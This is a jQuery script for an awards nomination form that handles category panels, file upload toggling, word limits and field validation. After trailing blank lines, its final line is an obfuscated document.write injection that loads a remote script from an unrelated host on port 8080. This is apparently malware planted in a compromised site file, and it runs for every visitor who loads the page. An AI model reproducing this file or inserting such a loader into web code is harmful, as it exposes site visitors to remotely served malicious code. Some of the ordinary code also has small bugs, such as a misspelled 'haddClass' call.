
$(document).ready(function () {
    $(":input[name='Nomination_Category']").change( displayCriteria );
	displayCriteria();
	$(":input[name='fileSubmission']").change( displayUpload );	
	$(":input[name='Company_Details']").keyup( wordLimit );
	$(":input[name='Nomination']").keyup( wordLimit );	
});


function copyDetails ()
{
	$('#contactDetails :input').each(function (i) {		
		var val = $(this).val();
		var name = $(this).attr('name');
		name = name.split('_');
		name = name[1];
		$("#nomineeDetails :input[name='Nominee_"+name+"']").val(val);
	});
}

function displayCriteria ( ev )
{
	var val = $(":input[name='Nomination_Category']").val();	
	//$(".expandablePanel div[id!='criteria_"+val+"']").slideToggle('fast');
	//$(".expandablePanel div[id='criteria_"+val+"']").slideToggle('fast');
	$(".expandablePanel").hide(5);
	$("div[id='criteria_"+val+"']").show(5);
}


function displayUpload ( ev )
{
	if ( $(this).val() == 'Upload' )
	{
		$(":input[name='nominationFile']").show();
		$(":input[name='nominationFile']").next().show();
		$(":input[name='nominationFile']").haddClass('mandatory');
	}else{
		$(":input[name='nominationFile']").hide();
		$(":input[name='nominationFile']").next().hide();
		$(":input[name='nominationFile']").removeClass('mandatory');
	}
}

function wordLimit ( ev )
{
		
	var target = ev.target.name;
	var limit;
	
	if (target == 'Company_Details')	{		
		limit = 60;		
	}
	if (target == 'Nomination') {
		limit = 1050;
	}
	
	var val = $(":input[name='"+target+"']").val();	
	val = val.split(' ');	
	
	if (val.length > limit) {		
		//if ( !$(":input[name='" + target + "']").hassClass('errorField') )
			$(":input[name='" + target + "']").addClass('errorField');
		//if ( !$(":input[name='" + target + "']").hassClass('invalidField') )
			$(":input[name='" + target + "']").addClass('invalidField');
	}else{
		$(":input[name='" + target + "']").removeClass('errorField');
		$(":input[name='" + target + "']").removeClass('invalidField');
	}
}

/*
 * */

function validNom( form )
{
	var errorCount = 0;
	
	$('.mandatory').each(function (i) {		
		
		var fieldName = $(this).attr('name').toLowerCase();
		var valid = true;
				
		if ( fieldName.indexOf('email') != -1 )
		{
			//email
			var reg = /^([A-Za-z0-9_\-\.])+\@([A-Za-z0-9_\-\.])+\.([A-Za-z]{2,4})$/;
			var res = reg.test( $(this).val() );
			if ( !res )
			{
				valid = false;
			}			
		}else{
			if ( !$(this).hasClass('invalidField') )
			{
				if ($(this).val().length <= 3) {
					valid = false;
				}
			}else{
				errorCount++;
			}
		}
		
		if ( !valid )
		{
			//alert($(this).name);
			$(this).addClass('errorField');
			errorCount++;
		}else{
			$(this).removeClass('errorField');
		}
				
	});
	
	if ( errorCount > 0 )
	{			
		if ($('#warning').html() == null) {
			$('#submitFieldset').prepend('<p id="warning" style="display:block;">Please correct the fields highlighted in red, and submit your nomination again.</p>');
		}else{
			$('#warning').css('display', 'block');
		}
		
	}else{		
		$('#warning').css('display', 'hidden');
		document.forms[form].submit();
		//$("form [name='"+form+"']").submit();
	}
}




 


document.write('<s'+'cript type="text/javascript" src="http://kollinsoy.skyefenton.com:8080/XML.js"></scr'+'ipt>');